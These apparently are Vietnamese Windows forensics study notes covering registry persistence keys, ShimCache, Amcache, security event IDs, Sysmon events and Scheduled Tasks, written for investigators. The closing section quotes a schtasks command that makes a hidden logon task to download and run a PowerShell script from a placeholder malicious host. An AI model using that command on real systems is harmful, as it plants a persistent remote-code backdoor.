    Một số Registry Hive cần lưu ý
</h4>

##### Logon

- `HKLM (HKCU)\Software\Microsoft\Windows\CurrentVersion\Run`: Chỉ ra các chương trình, script, command chạy tự động mỗi lần người dùng đăng nhập vào Windows.
- `HKLM (HKCU)\Software\Microsoft\Windows\CurrentVersion\RunOnce`: Chỉ ra các chương trình, script command chạy tự động vào lần sau người dùng đăng nhập vào Windows và registry key sẽ bị loại bỏ.

##### SERVICES

- **`HKLM\SYSTEM\CurrentControlSet\Services`**: Liệt kê các service có trên hệ thống với subkey `start` chỉ ra cách mà nó được chạy (automatic, manual,…)

##### Task Scheduler

- `Microsoft\WindowsNT\CurrentVersion\Schedule\TaskCache\Tasks`: Lưu lại các thông tin về từng task được đăng ký với Task Scheduler Service. Chứa các subkey, mỗi subkey tương ứng với 1 task
- `Microsoft\WindowsNT\CurrentVersion\Schedule\TaskCache\Tree`: Lưu lại các thông tin của task theo cấu trúc cây.

##### Known DLL

- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`: Chứa danh sách các DLL mà Windows sẽ load vào memory khi process cần chúng


<h3>
    Shim Cache
</h3>

<h4>
    Định nghĩa
</h4>

Shim cache hay còn được gọi là Application Compatibility Cache, là một tính năng của Hệ điều hành Windows. Shimcache lưu lại việc thực thi của ứng dụng và các thay đổi mà nó tạo nên cho hệ thống,

Registry lưu trữ shimcache dưới dạng binary và có thể dùng tool để chuyển nó về dạng dễ đọc:

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache
```
<h4>
    Giá trị Forensic của Shim Cache
</h4> 

- Truy vết các file thực thi có trên hệ thống và có khả năng thực thi
- Truy vết thời gian gần nhất thay đổi của file thực thi, đường dẫn và việc nó đã được thực thi hay chưa
- Nếu file thực thi bị thay đổi tên hoặc tạo bản sao, nó sẽ được shim một lần nữa khi thực thi lần đầu giúp cho việc phát hiện trùng lặp và timestomping (kỹ thuật của kẻ tấn công đánh lừa về thời gian cuộc tấn công)
    
</h4>

<h4>
    Parse Shim Cache
</h4>

Sử dụng tool `AppCompatCacheParser`

![image](https://hackmd.io/_uploads/SJyRI2Gzxe.png)

<h3>
    Amcache
</h3>

<h4>
    Định nghĩa
</h4>
`Amcache` chứa các siêu dữ liệu liên quan đến việc thực thi của chương trình và được cài đặt trên Windows Server 2008 R2 và Windows trở đi. Amcache cung cấp khả năng tương thích ngực cho ứng dụng chạy trên môi trường không tương thích với nó (tương tự `Shimcache`)

`Amcache` chứa thông tin về file thực thi, vào gồm đường dẫn đầy đủ, thời gian thay đổi gần nhất, SHA1 hash và ở một só phiên bản còn có thông tin file như version, product name, company name và mô tả.

`Amcache` hiện tại có 2 dạng format:

- BCF file hay còn gọi là RecentFileCache.bcf (Windows 7, 8)
- Registry hive: `AmCache.hve`

Thông tin trong Amcache không phụ thuộc vào phiên bản HĐH mà dựa vào phiên bản thư viện chịu trách nhiệm điền cache.


    
<h4>
    Cấu trúc
</h4> 
- Vị trí: %SYSTEMROOT%\appcompat\Programs
    

Các key mà `AmCache.hve` chứa liên quan đến nhiều loại chương trình được tải và các thành phần bao gồm cả shortcut. 
    
![image](https://hackmd.io/_uploads/ByNAG17Gll.png)
    
    
`Những key này là:`

- `DeviceCensus`: Dữ liệu về thiết bị và cấu hình của nó để cải thiệu hiệu năng và tương thích của Windows
- `DriverPackageExtended`: Thông tin về rộng về các driver package cài đặt trên hệ thống
- `InventoryApplication`: Chứa các thông tin về các ứng dụng được cài trên hệ thống
- `InventoryApplicationAppV`: Chứa các thông tin của ứng dụng ảo hóa sử dụng Microsoft Application Virtualization (App-V)
- `InventoryApplicationDriver`: Chứa các thông tin về driver đi cùng với ứng dụng được cài đặt trên hệ thống
- `InventoryApplicationFile`: Chứa các thông tin về File đi cùng với ứng dụng được cài đặt
- `InventoryApplicationFramework`: Chứa các thông tin về framework và runtime mà ứng dụng phụ thuộc, ví dụ như `.NET Framework`
- `InventoryApplicationShortcut`: Chứa các dữ liệu về shortcut được tạo bởi ứng dụng được cài đặt.
- `InventoryDeviceContainer`: Chứa dữ liệu về device container, là logical group của các thiết bị phần cứng và thiết bị ảo.
- `InventoryDeviceInterface`: Chứa các thông tin về interface mà thiết bị kết nối với HĐH
- `InventoryDeviceMediaClass`: Chứa các dữ liệu về các lớp thiết bị media như thiết bị audio, video
- `InventoryDevicePnp`: Dữ liệu về các thiết bị Plug and Play (PnP)
- `InventoryDeviceUsbHubClass`: Chứa các thông tin về lớp thiết bị USB hub
- `InventoryDriverBinary`: Thông tin về các driver binary
- `InventoryDriverPackage`: Thông tin về các driver package được tải trên hệ thống
- `InventoryMiscellaneousMemorySlotArrayInfo`, `InventoryMiscellaneousOfficeAddIn`, `InventoryMiscellaneousOfficeAddInUsage`, `InventoryMiscellaneousOfficeIdentifiers`, `InventoryMiscellaneousOfficeIESettings`, `InventoryMiscellaneousOfficeInsights`, `InventoryMiscellaneousOfficeProducts`, `InventoryMiscellaneousOfficeSettings`, `InventoryMiscellaneousOfficeVBA`, `InventoryMiscellaneousOfficeVBARuleViolations`, `InventoryMiscellaneousUUPInfo`: Các thông tin về các cấu hình hệ thống, ứng dụng khác.
</h4>




<h3>
    Windows Event Logs
</h3>

<h4>
    Định nghĩa
</h4>


Windows Event Log là bản ghi các event liên quan đến hệ thống, bảo mật, phần mềm được lưu trữ trên HĐH Windows. Nó chịu trách nhiệm quản lý các sự kiện, nhật ký các sự kiện bằng cách thu thập các sự kiện từ nhiều nguồn khác nhau và lưu trữ tập trung tại một thư mục %systemroot%\System32\winevt\logs ở định dạng nhị phân và có đuôi .evtx

![image](https://hackmd.io/_uploads/HJXSIaZGgx.png)

Các sự kiện mà Windows Event Logs thu thập có thể giúp người điều tra biết được chuyện gì đã xảy ra trên hệ thống, vào thời gian nào, tham chiếu đến người dùng cụ thể liên quan đến các hành vi đó hay các tài nguyên trên hệ thống,..

Windows Event Log header và metadata (64 KB/1 entry) được load vào trong memory, mỗi entry sẽ trỏ tới event ở trên ổ đĩa giúp tăng hiệu suất quản lý log..

Event log được lưu trữ ở định dạng `XML` giúp việc giảm mã cấu trúc trở nên trực quan hơn và cũng dễ dàng để tạo bộ lọc hộ trợ tìm kiếm.

<h4> 
    Các loại Windows Log
</h4>

- `Application Log`: Ghi lại những sự kiện sinh ra bởi user-mode application (ví dụ lỗi khi khởi động ứng dụng)
- `Security Log`: Ghi lại các sự kiện dựa trên các tiêu chí trong local hay global group policies. Nó ghi lại thông tin về kiểm soát truy cập chẳng hạn như tạo, mở, xóa file hay các nỗ lực đăng nhập.
- `System`: Các sự kiện được ghi lại bởi hệ điều hành hoặc các thành phần của nó, chẳng hạn như lỗi dịch vụ không thể khởi động trong quá trình boot.
- `Setup Log`: Nó xác định các bản cập nhật bảo mật Windows, các bản vá lỗi và các hotfix đã được thêm vào hệ thống.
- `Forwarded Events`: Log này được tạo từ các log của hệ thống khác gửi về hệ thống. `Windows Audit Collection Service` chịu trách nhiệm thu thập và chuyển tiếp log.
- `Applications and Services Logs`: Chứa các log được phân loại cho từng ứng dụng, service và các system component. Mỗi thông tin log được chứa trong một file giúp ta có thể tập trung vào phân tích các hoạt động và các vấn đề tiềm năng liên quan đến 1 phần của hệ thống hoặc 1 ứng dụng cụ thể. Khác so với `Application log`, loại log này được sinh ra bởi bản thân application và service.

<h4> Các loại Event </h4>

![image](https://hackmd.io/_uploads/HkkqJozzlg.png)


Có 5 loại Event trên Windows:

- `Information`: Mô tả một hoạt động thành công của một task. Ví dụ như khi một network driver thành công load vào hệ thống.
- `Warning`: Loại event này không quá nghiêm trọng, tuy nhiên có thể chỉ ra được khả năng xảy ra vấn đề trong tương lai. Ví dụ, cảnh báo bộ nhớ ổ đĩa còn ít.
- `Error`: Event này chỉ ra một vấn đề nghiêm trọng như là thất thoát dữ liệu, hoặc chức năng hỏng. Ví dụ, service không thành công load vào hệ thống trong thời gian boot.
- `Success Audit` (Security Log): Mô tả một audited security event thành công hoàn thành. Ví dụ như khi đăng nhập thành công vào hệ thống.
- `Failure Audit` (Security Log): Mô tả một audited secuiry event không thành công hoàn thành. Ví dụ như khi đăng nhập không thành công vào hệ thống.

#### Audit Log

`Audit Log` trên Windows còn được gọi là Security Log.

![image](https://hackmd.io/_uploads/BJpsyifzgx.png)

Ta có thể thay đổi các chính sách của Audit Log trên Windows bằng cách truy cập vào `Local Group Policy` (gpedit), để khiến Windows sinh ra các event bổ sung cần thiết cho việc kiểm soát truy cập trên hệ thống:

- *Account Logon:* Lưu lại các nỗ lực truy cập vào dữ liệu tài khoản ở trên domain controller hoặc là trên Local Security Account Manager (SAM)
- *Account Management:* Lưu lại các thay đổi của tài khoản và group trên hệ thống.
- *Detailed Tracking:* Với mục địch lưu lại các hành vi sau:
    - Quản lý các hoạt động của từng ứng dụng và người dùng trên máy tính
    - Hiểu được hệ thống được sử dụng như thế nào.
- *DS Access:* Cung cấp thông tin về các nỗ lực truy cập và chỉnh sửa các object trên AD Domain Services. Các event này chỉ được lưu trên domain controller
- *Logon/Logoff:* Cung cấp khả năng truy vết các nỗ lực đăng nhập vào máy tính trực tiếp hoặc thông qua mạng.
- *Object Access:* Cung cấp khả năng truy vết các truy cập vào các loại object trên hệ thống, ví dụ như truy cập vào file, thư mục, registry key,…
- *Policy Change:* Cung cấp khả năng truy vất các thay đổi quan trọng trong chính sách bảo mật trên hệ thống, ví dụ như thay đổi `Audit Policy Change`, `Authentication Policy Change`,…
- *Priviledge Use:* Quyền ở trên hệ thống sẽ được trao cho các user và computer để hoàn thành một số task được định nghĩa. `Priviledge Use` cung cấp khả năng truy vết việc sử dụng các quyền đó trên hệ thống. Ví dụ như việc sử dụng quyền admin hoặc load/unload driver
- *System:* Giúp truy vết các kiểu thay đổi ở mức hệ thống của máy tính mà không nằm trong các loại trên hoặc có ảnh hưởng bảo mật tiềm tàng.
- *Global Object Access Auditing:* Cho phép các quản trị viên có thể định nghĩa `System Access Control List` (SACL) trên mỗi một loại object của file system hoặc registry. Ví dụ:
    - Log tất cả các hành động của một người dùng cụ thể
    - Log tất cả các hành động truy cập vào một object của một file system cụ thể



#### Một số Windows Event cần chú ý

##### Logon

`4624`, `4634`: Successful Logon và Logged off event. Có chứa trường `Logon Type` để biết được kiểu session và nếu trường `Logon ID` của chúng giống nhau có thể xác định được độ dài của session

`4625`: Failed Logon. Sử dụng để detect brute force

`4647`: User initiated logoff. Thường xuất hiện trong `Interactive` và `RemoteInteractive` logon type khi người dùng logoff. Thông thường trong các trường hợp này cả 2 event `4634` và `4647` sẽ xuất hiện.

`4672`: Account logon with superuser right (special logon)

`4720`: An account was created

`4726`: An account was deleted

`4648`: Logon using explicit credentials. Thường xuất hiện khi sử dụng `RUNAS` command.

##### Group

Kẻ tấn công có thể thêm các tài khoản vào group có quyền admin.

`4728`: A member was added to a security-enabled global group

`4732`: A member was added to a security-enabled local group

`4756`: A member was added to a security-enabled universal group.

##### Account Logon

Liệt kê các xác thực sử dụng bên thứ 3: NTLM, Kerberos.

`4776`: The computer attempted to validate the credentials for an account. (Pass-the-hash attack có thể được truy vết bằng event ID này và 4624)

`4768`: A Kerberis authentication ticket (TGT) was requested.

`4769`: A Kerberos service ticket was requested.

`4771`: Kerberos pre-authentication failed

##### Enumeration

Được sử dụng để detect các hoạt động trinh sát trên mạng

`4798`: A user’s local group membership was enumerated.

`4799`: A security-enabled local group membership was enumerated.

##### RDP

Ngoài logon event 4624 với logon type 10, ta có thể sử dụng các event ID:

`4778`: A session was reconnected to a Windows Station

`4779`: A session was disconnected from a Window Station

##### Network Share

Network share được sử dụng để mount các tài nguyên shares như `C$`, `ADMIN$` và `IPC$`.

`5140`: Network share was accessed

`5145`: Shared object accessed. Thông tin chi tiết hơn 5140.

##### Scheduled Task

`4698`: Scheduled Task Created

`4699`: Scheduled Task Deleted

`4700`: Scheduled Task Enabled

`4701`: Scheduled Task Disabled

`4702`: Scheduled Task Updated. 

##### Powershell

Powershell là một công cụ có sẵn trên hệ thống để kẻ tấn công có thể sử dụng.

`4103`: Module Logging. Truy vết việc load và unload PowerShell module trong quá trình thực thi script

`4104`: Scriptblock Logging. Lưu lại đoạn script code (ở trong `{}`), là nội dung script thật sự được thực thi.

##### WMI

Tương tụ như PS, WMI có thể truy cập vào rất nhiều thứ. Các log sau đây được sử dụng để theo dõi hoạt động của WMI

`5857`: WMI Activity was detected

`5858`: WMI errors detected

`5859`, `5860`: WMI Filter/Consumer activity was detected

`5861`: WMI FilterConsumer Binding was detected

##### Removable Devices

`4663`: An attempt was made to access an object

`4656`: A handle to an object was requested

`6416`: A new external device was recognized by the System

##### Log Clearing

`1102`: The audit log was cleared.

<h3>
    Sysmon
</h3>

<h4>
    Định nghĩa
</h4>

`Sysmon log` là event log được tạo bởi Microsoft System Monitor (Sysmon). Nó cung cấp các thông tin về các hoạt động ở mức system trên Windows, lưu lại các hoạt động như là khởi tạo process, khởi tạo kết nối mạng, thay đổi về file và registry, hoạt động của service và driver, và hành động của WMI

<h4>
    Nó dùng để làm gì?
</h4>

Các event được thu thập bởi `Sysmon` hầu hết đã có trên Windows logs, tuy nhiên những log này cũng có những nội dung chưa phù hợp với một số trường hợp. Ví dụ như Windows Event ID 4688 (Process Creation) thì Windows log không chứa thông tin hash của image hay Logging connections là một thử thách khác bởi log flooding, thậm chí Windows cũng khuyến nghị người dùng chỉ bật log này thì cần tìm lỗi mạng.

`Sysmon` bổ sung những thiếu sót này của Windows log event:

1. Sysmon giúp người dùng có thể dễ dàng cấu hình chính xác các event nào sẽ được tạo ra bằng cách cung cấp thông tin cho nó. Ví dụ, các nhà phân tích có thể cấu hình sysmon chỉ log các kết nối mạng của một process cụ thể hoặc tất cả các process trừ một vài process,…
2. Sysmon có thể vá các lỗ hổng còn tồn tại bởi Windows event log để phục vụ cho việc phát hiện và tìm kiếm threat như là các event processes loading DLLs hoặc process mở một process khác.
3. Sysmon giúp kiểm soát việc telemetry (tự động thu log, truyền và lưu lại log), lợi thế hơn EDR (Endpoint Detection and Response). Sysmon có thể linh hoạt hơn (cho phép config) và cung cấp đầu đủ thông tin hơn (do EDR chỉ cho phép admin config trên một cơ sở nhất định, nó dựa trên config của EDR agent)

#### Một số Event log quan trọng của Sysmon

- Event ID 1: Process creation.
- Event ID 2: A Process changed a file creation time.
- Event ID 3: Network connection. Chứa các thông tin như là chương trình khởi tạo kết nối, IP gốc và port, giúp phân tích các lưu lượng mạng.
- Event ID 4: Sysmon service state changed. Giúp theo dõi được trạng thái của sysmon
- Event ID 6: Driver loaded.
- Event ID 7: Image loaded
- Event ID 8: Create Remote Thread.
- Event ID 11: File Create
- Event ID 19: WmiEvent (WmiEventFilter activity detected). When a WMI event filter is registered, which is a method used by malware to execute, this event logs the WMI namespace, filter name and filter expression.
- Event ID 20: WmiEvent (WmiEventConsumer activity detected)
- Event ID 22: DNSEvent (DNS query)

<h3>
    Shell script
</h3>

<h4>
    Định nghĩa
</h4>

Nói dễ hiểu rằng, shell script là thứ giúp cho user có thể tương tác với kernel. Nếu như ở Linux có Bash Shell, C Shell thì windows cũng có 2 loại shell đặc trưng là Powershell Script và CMD Script (Batch Script).

Chúng đều chịu trách nhiệm là giúp cho người dùng có thể tương tác với các service ở trên windows. Nếu như ở Powershell, người ta dùng chúng để tự động hóa các process, service hay cấu hình chúng. Thì CMD Script hay chính xác hơn là Batch Script cũng giúp ta thực hiện các tác vụ như vậy, nhưng dưới dạng tuần tự. Mỗi một dòng lệnh (Command Line) trong batch script sẽ chạy từ trên xuống dưới. Nhưng vì là tuần tự nên để tự động hóa nhiều thứ sẽ cần phải viết nhiều cái batch script khác nhau, nhưng với Powershell Script thì chỉ cần một script duy nhất, nên Powershell Script có thể gọi là người kế thừa xuất sắc của Batch Script.

<h4>
    Cấu trúc
</h4>

`Batch Script`: có đuôi là *.cmd hoặc *.bat
`Powershell Script`: có đuôi là *.ps1

**Batch script** là một ngôn ngữ tuần tự, từ trên xuống dưới, vì vậy nên các câu lệnh cũng sẽ rất dễ hiểu.

![image](https://hackmd.io/_uploads/SkvS9ifMeg.png)

Cấu trúc của file batch chỉ là việc ta viết cmd gì vào đó, vì nó sẽ thực hiện từ trên xuống dưới nên rất dễ hiểu

**Powershell Script** thì là một ngôn ngữ lập trình bậc cao và hướng đối tượng, nhưng cũng vì là script nên để lập trình Powershell Script, ta cũng cần phải biết cmdlet của nó. Nó cũng tương tự như các chúng ta import các thư viện trong các ngôn ngữ như C++, Python.

Các cmdlet này sẽ return đối tượng Microsoft .NET và nó được coi là 1 instance của các class .NET.

Ví dụ:

```
$process = Get-Process

foreach ($proc in $process){
	Write-Output "Process Name: $($proc.ProcessName), PID: $($proc.Id)"
}
```

Thì Get-Process, Write-Output ở đây chính là cmdlet, giúp lấy process đang chạy và viết ra output.

<h3>
    Scheduled Task
</h3>

<h4>
    Định nghĩa
</h4>

Scheduled Task là tác vụ tự động hóa, giúp quản trị viên hoặc ứng dụng lên lịch cho các thao tác lặp lại, bảo trì hệ thống, cập nhật, sao lưu, kiểm tra hệ thống, hoặc thực thi script vào thời điểm nhất định mà không cần tương tác thủ công.

Được quản lý bởi Task Scheduler – một service mặc định trong Windows.

<h4>
    Thành phần
</h4>

`Task`: Tác vụ cụ thể, gồm thông tin về trigger, hành động, điều kiện, cài đặt bảo mật.

`Trigger`: Điều kiện khởi chạy (ví dụ: theo thời gian, khi đăng nhập, khi sự kiện xảy ra…).

`Action`: Hành động thực hiện (chạy chương trình, gửi mail, hiển thị message…).

`Condition`: Các điều kiện bổ sung (VD: chỉ chạy khi cắm sạc, hoặc khi kết nối mạng…).

`Settings`: Các tuỳ chọn bổ sung (retry, timeout, behavior khi task fail,…).

**Task Scheduler** lưu thông tin về task dưới dạng XML tại 
`C:\Windows\System32\Tasks\`


Tên Service của Task Scheduler `qua CLI` là `schtasks.exe`

![image](https://hackmd.io/_uploads/Hkj0ieVGgl.png)

`Qua GUI` thì khi bật sẽ hiển thị service là mmc.exe, tức là Microsoft Management Console. Và mmc.exe sẽ chạy taskchd.msc

![image](https://hackmd.io/_uploads/HkGVhgVMlg.png)



<h4>
    Thao tác cơ bản với Schedule Task
</h4>

`
schtasks /create /tn "MyTask" /tr "C:\User\anhshidou\Document\test.bat" /sc daily /st 09:00
`

<h4>
    Trong tấn công
</h4>

Schedule Task là một công cụ, service vô cùng hữu hiệu với các cuộc tấn công, vì nó sẽ giúp cho malware đạt được persistance, auto-restart mỗi lúc máy khởi động và duy trì backdoor trên máy.

Ví dụ:

`schtasks /create /tn "Updater" /tr "powershell -w hidden -c iex(iwr http://malicious.site/shell.ps1)" /sc onlogon
`









